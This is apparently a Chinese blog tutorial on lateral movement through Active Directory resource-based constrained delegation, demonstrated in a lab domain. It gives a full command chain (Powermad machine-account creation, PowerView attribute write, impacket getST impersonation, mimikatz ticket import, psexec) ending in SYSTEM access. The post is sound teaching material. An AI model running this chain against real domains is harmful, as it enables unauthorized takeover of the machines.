当前位置: 首页 > news >正文

内网横向移动—资源约束委派

内网横向移动—资源约束委派

  • 1. 资源约束委派
    • 1.1. 基于资源的约束委派的优势
    • 1.2. 约束性委派和基于资源的约束性委派配置的差别
    • 1.3. 利用条件
      • 1.3.1. 什么用户能够修改msDS-AllowedToActOnBehalfOfOtherIdentity属性
      • 1.3.2. 将机器加入域的域用户
  • 2. 案例操作
    • 2.1. 获取目标信息
      • 2.1.1. 查询SID值
      • 2.1.2. 查询加入的用户
    • 2.2. 攻击操作
      • 2.2.1. 增加机器
      • 2.2.2. 查看增加情况
      • 2.2.3. 获取SID
      • 2.2.4. 修改委派属性
      • 2.2.5. 验证是否修改成功
      • 2.2.6. 清除属性值设置(千万别实验,只了解)
    • 2.3. 票据生成
      • 2.3.1. 配置host文件
      • 2.3.2. 连接目标获取票据
      • 2.3.3. 导入票据到内存
      • 2.3.4. 利用票据连接
  • 3. 总结

1. 资源约束委派

  资源约束委派主要是为了让用户或者资源更加的独立,所以在Windows server 2012中引入了基于资源的约束委派,基于资源的约束委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员。

  同时利用基于资源的约束委派的控制权交给拥有被访问资源的管理员,间接导致了域内正常的域用户都有权进行委派操作。

  简单来说就是在资源约束委派中,不需要使用域内管理员去设置相关约束委派的属性,而操作权落到了当前登录的机器或者用户手里了。

  详细的可以参考下面的文章:

  域渗透之委派攻击

  这里就借用一下他人的文章中的说法,以防文章再没了。

1.1. 基于资源的约束委派的优势

  • 委派的权限授予给了拥有资源的后端,而不再是前端
  • 约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林
  • 不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑msDS-AllowedToActOnBehaffOtherldentity属性权限也就是将计算机加入域的域用户和机器自身拥有权限。

1.2. 约束性委派和基于资源的约束性委派配置的差别

  • 传统的约束委派是正向的,通过修改服务A的属性msDS-AlowedToDelegateTo,添加服务B的SPN,设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。
  • 而基于资源的约束委派则是相反的,通过修改服务B属性msDS-AllowedToActOnBehalfOfotherldentity,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。
  • msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户(也就是我们创建的机器账户或已知机器账户)

1.3. 利用条件

  • 具有对主机修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限(如已经控制的主机是WEB 则具有修改WEB主机的msDS-AllowedToActOnBehalfOfOtherIdentity的权限账户)
  • 可以创建机器账户的域用户(或已知机器账户)
  • 域控是Windows server 2012及以上
  • 存在域内成员用户加入域的操作。

1.3.1. 什么用户能够修改msDS-AllowedToActOnBehalfOfOtherIdentity属性

  • 将主机加入域的用户(账户中有一个mSDS-CreatorSID属性,用于标记加入域时使用的用户的SID值,反查就可以知道是谁把机器加入域的了)
  • Account Operator组成员
  • 该主机的机器账户

1.3.2. 将机器加入域的域用户

  正常机器加入域需要输入域管账号密码,而这里不需要输入域管的账号密码,而是输入域内用户的账号密码,例如:域控的账号密码是:administrator/admin@123,主机A的账号密码是:dbadmin/admin!@#45,而这时候有一个新的主机要加入域,这时候输入的账号密码不能输入域控的账号密码,而是输入主机A的账号密码,这样就形成了资源约束委派,也就相当于如果我们有主机A的权限,那么后面加入的这台主机的权限我们也就间接性获取到了权限了。

  同时如果我们拿到了Account Operators组内用户权限的话,则我们可以拿到除域控外所有机器的system权限。(因为Account Operators组内用户可以修改域内任意主机(除了域控)的msDS-AllowedToActOnBehalfOfOtherIdentity属性)

2. 案例操作

  这里的委派不需要任何的设置,默认就可以,也就是设置成不信任此用户作为委派。

在这里插入图片描述

2.1. 获取目标信息

  这里我就不在CS中操作了,在CS中操作也是一样的,这里我们获取的是WEB机器的权限,而我们要攻击的则是DATA机器的权限。

2.1.1. 查询SID值

  可以看到使用Adfind工具查询,发现存在两台主机的SID值是一样的,那么就存在资源委派的可能,如果SID值不一样那就不存在资源委派的情况。

AdFind.exe -h 192.168.3.33 -b "DC=xiaodi,DC=local" -f "objectClass=computer" mS-DS-CreatorSID
##-h 域控的IP地址,-d是域名,-f是固定的。

在这里插入图片描述

2.1.2. 查询加入的用户

  这里就是查询是谁把这两台主机加入域的,这个用户是谁?

sid2user.exe \\192.168.3.33 5 21 1695257952 3088263962 2055235443 1104   ##要主机从5开始是将前面的S-1-去除,同时将中间的-全部替换为空格。

在这里插入图片描述

  通过查询发现,加入的用户是dbadmin,并且是域内普通用户。

2.2. 攻击操作

  这里需要使用到工具,这个工具是使用PowerShell来执行。

powermad

2.2.1. 增加机器

  其实这里我一直觉得有一个坑,CS是没交互的功能的,那么如何执行交互呢,所以可能还是需要将会话转交给msf来执行。

Set-ExecutionPolicy Bypass -Scope Process   ##更改策略
import-module .\Powermad.ps1             ##执行脚本
New-MachineAccount -MachineAccount test1 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force) ##创建一个用户为test1的,然后密码是123456

在这里插入图片描述

2.2.2. 查看增加情况

  这里在实际操作中是看不到增加情况的,但是这里是演示所以可以看一下,在域控是是否增加了一个用户。

在这里插入图片描述

2.2.3. 获取SID

  这里获取新加入的这太主机的SID值,这里获取到的SID值是:S-1-5-21-1695257952-3088263962-2055235443-1602

Set-ExecutionPolicy Bypass -Scope Process  ##如果出现报错,就执行这条命令,再执行下面的命令。
Import-Module .\PowerView.ps1
Get-NetComputer test1 -Properties objectsid

在这里插入图片描述

2.2.4. 修改委派属性

  这里就是设置委派,修改DATA的属性,仔细看下面的命令,主要要修改的一个是DATA也就是你目标主机的机器名,还有一个就是SID值,这里将SID值修改为刚刚上面我们自己添加的那台主机的SID值。

Set-ExecutionPolicy Bypass -Scope Process
import-module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1602)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DATA| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

在这里插入图片描述

2.2.5. 验证是否修改成功

  这里然后将中间的DATA修改成你目标主机的主机名。

Get-DomainComputer DATA -Properties msds-allowedtoactonbehalfofotheridentity 

在这里插入图片描述

2.2.6. 清除属性值设置(千万别实验,只了解)

  这里其实就是将之前的修改的内容给清除了,这个你删除了,就会像我一样,折腾了一个多小时发现,自己搞的问题。

Set-DomainObject DATA -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

在这里插入图片描述

2.3. 票据生成

  这里就通过票据的生成来验证,不过这里需要提前在本地使用工具生成,使用需要上传木马,设置代理。

2.3.1. 配置host文件

  这里需要提前配置一下host文件,由于使用下面会使用到机器的名,以防解析到外部的地址,所以需要配置相应的host指向,由于是利用本地的工具去生成的,所以修改host文件需要修改本地的host文件。

  这里放在本地的原因是需要使用python环境,而目标如果没有python文件,你把工具上传后也无法执行,同时该工具又有很多小工具,都未经免杀,可能上传就会被干掉。

192.168.3.11 web.xiaodi.org
192.168.3.22 data.xiaodi.org
192.168.3.33 dc.xiaodi.org
192.168.3.33 xiaodi.org

在这里插入图片描述

2.3.2. 连接目标获取票据

  这里需要使用到impacket工具,并且使用到python3.10及以上版本,可能低版本的存在一些小问题。

  impacket工具

proxychains python getST.py -dc-ip 192.168.3.33 xiaodi.local/test1\$:123456 -spn cifs/data.xiaodi.local -impersonate administrator

在这里插入图片描述

2.3.3. 导入票据到内存

  这里将刚刚生成的票据导入到内存中,由于票据是本地生成的,那么就需要先将票据上传到所控主机上后在进行导入。

mimikatz kerberos::ptc administrator.ccache

在这里插入图片描述

2.3.4. 利用票据连接

dir \\data.xiaodi.local\c$    ##默认连接,权限低。
python psexec.py -k xiaodi.local/administrator@data.xiaodi.local -no-pass   ##可提升为system权限。

在这里插入图片描述

3. 总结

  其实总体来说,约束委派类,不是太经常遇到,同时在操作过程中,还有很多是需要交互的,或者一些特殊的操作,其中有一点不对则无法利用成功,不像其他漏洞,能不能利用基本上测试一下就能确定了,而这个有可能测试完也无法成功,上面案例中能够测试成功,均是在理想化环境中测试。

相关文章:

内网横向移动—资源约束委派

内网横向移动—资源约束委派 1. 资源约束委派1.1. 基于资源的约束委派的优势1.2. 约束性委派和基于资源的约束性委派配置的差别1.3. 利用条件1.3.1. 什么用户能够修改msDS-AllowedToActOnBehalfOfOtherIdentity属性1.3.2. 将机器加入域的域用户 2. 案例操作2.1. 获取目标信息2.…...

Spring Boot Logback日志格式改为JSON

在阿里云、或者日志分析时使用JSON格式输出日志更加方便。 依赖 增加Logbak JSON解析依赖。 另外需要注意的是JSON格式输出依赖Jackson&#xff0c;根据工程情况按需添加Jackson依赖。 <!--日志--><dependency><groupId>ch.qos.logback.contrib</grou…...

Linux 块设备操作函数

和字符设备的fil_operations一样&#xff0c;块设备也有操作集&#xff0c;为结构体block_device_operations&#xff0c;此结构体定义在include/linux/blkdev.h中&#xff0c;结构体内容如下&#xff1a; struct block_device_operations {int (*open) (struct block_device …...

linux c++网络编程基础:服务端与客户端的实现

在Linux环境下,我们可以使用socket编程来实现网络通信。下面是一个简单的C++版本的客户端和服务端的示例代码。 服务端代码: #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <string.h> #...

坐标转换-使用geotools读取和转换地理空间表的坐标系(sqlserver、postgresql)

前言&#xff1a; 业务上通过GIS软件将空间数据导入到数据库时&#xff0c;因为不同的数据来源和软件设置&#xff0c;可能导入到数据库的空间表坐标系是各种各样的。 如果要把数据库空间表发布到geoserver并且统一坐标系&#xff0c;只是在geoserver单纯的设置坐标系只是改了…...

JavaScript的主要应用场景有哪些?请描述一下JavaScript的基本数据类型和引用数据类型分别是哪些?

1、JavaScript的主要应用场景有哪些&#xff1f; JavaScript是一种广泛使用的编程语言&#xff0c;它主要用于Web开发、移动应用开发、游戏开发、物联网设备开发等场景。以下是JavaScript的主要应用场景&#xff1a; Web开发&#xff1a;JavaScript是Web开发中最常用的编程语…...

webpack性能优化

文章目录 1. 性能优化-分包2. 动态导入3. 自定义分包4. Prefetch和Preload5. CDN加载配置6. CSS的提取7. terser压缩7.1 Terser在webpack中配置7.2 css压缩 8. Tree Shaking 消除未使用的代码8.1 usedExports 配置8.2 sideEffects配置8.3 CSS实现Tree Shaking 9. Scope Hoistin…...

保存和读取带有透明通道的视频

保存带有透明通道的视频&#xff1a; import osimport imageio from rembg import remove as removBg,new_session from PIL import Image import numpy as np import cv2 from tqdm import tqdmclass cls_rembg():def __init__(self,model_pth):self.session new_session(mo…...

bilibili的评论ip属地显示未知

现象 出于某些原因&#xff0c;我们在日常使用中的大部分平台都开启了IP地址显示&#xff0c;一般会显示当事人所在的地址&#xff0c;这其中就有一些奇怪的地址&#xff0c;&#xff08;在此不谈魔法&#xff09;就比如我最近在刷B站的时候&#xff0c;就在评论区发现了一些显…...

[BabysqliV3.0]phar反序列化

文章目录 [BabysqliV3.0]phar反序列化 [BabysqliV3.0]phar反序列化 开始以为是sql注入 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ST1jvadM-1691302941344)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032140269.png)…...

数据库架构演变过程

&#x1f680; ShardingSphere &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&…...

webpack 静态模块打包工具

webpack 为什么? 把静态模块内容&#xff0c;压缩&#xff0c;整合&#xff0c;转译等(前端工程化) 把less/sass转成css代码把ES6 降级成ES5支持多种模块文件类型&#xff0c;多种模块标准语法 vite 为什么不直接学习vite 而学习webpack 因为很多项目还是基于webpack来进…...

万界星空科技/免费开源MES系统/免费仓库管理

仓库管理&#xff08;仓储管理&#xff09;&#xff0c;指对仓库及仓库内部的物资进行收发、结存等有效控制和管理&#xff0c;确保仓储货物的完好无损&#xff0c;保证生产经营活动的正常进行&#xff0c;在此基础上对货物进行分类记录&#xff0c;通过报表分析展示仓库状态、…...

【暑期每日一练】 Epilogue

目录 选择题&#xff08;1&#xff09;解析&#xff1a; &#xff08;2&#xff09;解析&#xff1a; &#xff08;3&#xff09;解析&#xff1a; &#xff08;4&#xff09;解析&#xff1a; &#xff08;5&#xff09;解析&#xff1a; 编程题题一描述输入描述&#xff1a;输…...

Go微服务实践 - Rpc核心概念理解

概述 从0研究一下Golang已经Golang的微服务生态体系&#xff0c;Golang的微服务首先要从Rpc开始&#xff0c;在升级到Grpc&#xff0c;详细介绍这些技术点都在解决什么技术问题。 Rpc Rpc (Remote Procedure Call) 远程过程调用&#xff0c;简单的理解是一个节点请求另一个节…...

Effective Java笔记(27)消除非受检的警告

用泛型编程时会遇到讲多编译器警告 &#xff1a; 非受检转换警告&#xff08; unchecked cast warning &#xff09;、非受检方法调用警告、非受检参数化可变参数类型警告&#xff08; unchecked parameterized vararg type warning&#xff09;&#xff0c;以及非受检转换警告…...

Dapper

介绍 Dapper是一个轻量级的ORM&#xff08;对象关系映射&#xff09;框架&#xff0c;它可以方便地将数据库查询结果映射到.NET对象上&#xff0c;同时也支持执行原生SQL查询。下面我将详细介绍Dapper的使用方法。 安装Dapper 首先&#xff0c;你需要通过NuGet包管理器将Dap…...

Python基础知识(一)

数据类型 基本类型 数字&#xff0c;字符串&#xff0c;布尔 数字类型 int整型 整数 float浮点型 带小数的数 complex复数 abj 字符串类型 str字符串 视作文本 组成&#xff1a;由数字&#xff0c;字母&#xff0c;空格&#xff0c;其他字符等组合而成 表达&#xff…...

QTthreadPool 程序

//*******************主窗口****************************// ------------------------.H--------------------------------- ----------------------------------------------------------- #ifndef MAINWINDOW_H #define MAINWINDOW_H #include <QMainWindow> #inclu…...

python注册机制Registry

Register用法 1. 为什么使用Register2. 先验知识-----装饰器2.1 代码视角的装饰器用法2.2 装饰器的使用场景2 3. Registry注册器参数parent介绍未完待续 1. 为什么使用Register 2. 先验知识-----装饰器 2.1 代码视角的装饰器用法 实例1 decorate def func():pass #! 等价于…...

OpenClaw模型微调:Kimi-VL-A3B-Thinking领域适配数据准备指南

OpenClaw模型微调&#xff1a;Kimi-VL-A3B-Thinking领域适配数据准备指南 1. 为什么需要领域特定数据微调 当我第一次尝试将Kimi-VL-A3B-Thinking模型应用到医疗影像分析场景时&#xff0c;发现模型对专业术语的理解和图像特征的把握都不够精准。这让我意识到&#xff0c;即使…...

学术研究利器:OpenClaw+gemma-3-12b-it自动整理文献综述

学术研究利器&#xff1a;OpenClawgemma-3-12b-it自动整理文献综述 1. 为什么需要自动化文献整理工具 作为一名经常需要阅读大量文献的研究者&#xff0c;我深刻体会到手动整理文献的痛点。每次写论文前&#xff0c;我需要花费数小时甚至数天时间从几十篇PDF中提取关键信息&a…...

Seedance 2.0有多离谱?这款动画师能生成角色一致性视频的AI工具你一定要用

作为一个动画师&#xff0c;这两年&#xff0c;我后台被问得最多的一类问题&#xff0c;不是“哪款 AI 生图最好”&#xff0c;也不是“哪款 AI 视频最火”&#xff0c;而是更具体、更扎心的一句&#xff1a;动画师能生成角色一致性视频的AI工具&#xff0c;到底有没有真的能用…...

如何提高SEO关键词优化推广的转化率

如何提高SEO关键词优化推广的转化率 在当今数字化时代&#xff0c;搜索引擎优化&#xff08;SEO&#xff09;已经成为企业在网络上获得曝光和流量的关键手段。在SEO中&#xff0c;关键词优化是提高网站排名的核心环节。单纯依靠关键词优化&#xff0c;并不能保证高转化率。如何…...

网站SEO优化是否需要长期维护

网站SEO优化是否需要长期维护 在当前竞争激烈的互联网环境中&#xff0c;网站的SEO优化已经成为每个企业和个人网站的重要策略之一。许多人在初期投入后&#xff0c;常常会有一个疑问&#xff0c;那就是“网站SEO优化是否需要长期维护&#xff1f;”本文将从问题分析、原因说明…...

力扣热门100题之最大子数组和

最优解法&#xff1a;Kadane 算法&#xff08;一遍遍历&#xff09;核心思想遍历数组时&#xff0c;维护当前最大和如果前面的和是负数&#xff0c;只会拖累当前数&#xff0c;直接抛弃前面否则&#xff0c;把当前数加进去全程记录最大值完整代码实现&#xff1a;class Solutio…...

网站推广seo优化公司如何做好移动端优化_网站推广seo优化公司如何提高网站的权重

网站推广seo优化公司如何做好移动端优化 在当前互联网市场的发展背景下&#xff0c;移动端的重要性日益凸显。无论是用户访问还是企业推广&#xff0c;移动端已经成为不可忽视的一部分。因此&#xff0c;网站推广seo优化公司在提升网站权重的过程中&#xff0c;移动端优化显得…...

Ubuntu 20.04忘记密码?5分钟搞定root和用户密码重置(附GRUB菜单截图)

Ubuntu 20.04密码重置实战指南&#xff1a;从GRUB到恢复模式的完整流程 当你面对一台锁定的Ubuntu 20.04机器时&#xff0c;那种焦虑感我深有体会——无论是个人开发环境还是团队共享服务器&#xff0c;密码遗忘都可能造成工作流程的中断。不同于Windows系统的密码重置工具&am…...

UG NX 合并曲面减少面得数量

“同步建模”里的“优化面” 确实是处理这类问题最直接、最高效的命令。对于客户发来的非参数化模型&#xff08;比如 STP、IGS 等&#xff09;&#xff0c;中间有碎线或分割线导致的“假面”&#xff0c;用它来合并非常合适。核心操作&#xff1a;使用“优化面”命令 启动命令…...

学生评教|高校评教|基于SpringBoot+vue高校学生评教系统 (源码+数据库+文档)

高校学生评教系统 目录 基于SpringBootvue高校学生评教系统 一、前言 二、系统设计 三、系统功能设计 1学生功能模块 2管理员功能模块 3老师功能模块 四、数据库设计 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取&#xff1a; 博主介绍&a…...